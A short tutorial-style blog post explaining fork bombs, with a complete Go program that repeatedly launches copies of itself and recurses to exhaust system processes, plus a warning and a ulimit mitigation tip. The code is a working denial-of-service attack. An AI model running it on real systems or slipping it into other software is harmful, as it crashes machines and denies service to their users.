~/Creating a Fork Bomb in Golang

Jan 17, 2022

A fork bomb is a type of denial-of-service attack that rapidly creates new processes to exhaust system resources. Creating one in Golang demonstrates process spawning and recursion.

Warning: Running a fork bomb can crash your system. Only run this on a controlled environment, not on production or personal machines.

Simple Golang Fork Bomb Example

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package main

import (
    "os"
    "os/exec"
)

func main() {
    cmd := exec.Command(os.Args[0])
    cmd.Start()
    main()
}

This code uses os/exec to start a new copy of itself and then recurses, rapidly creating processes. Each process repeats the forking, overwhelming the system.

To prevent such threats, use ulimit or process limits to restrict the number of concurrent processes per user. Always be cautious with recursive forking code.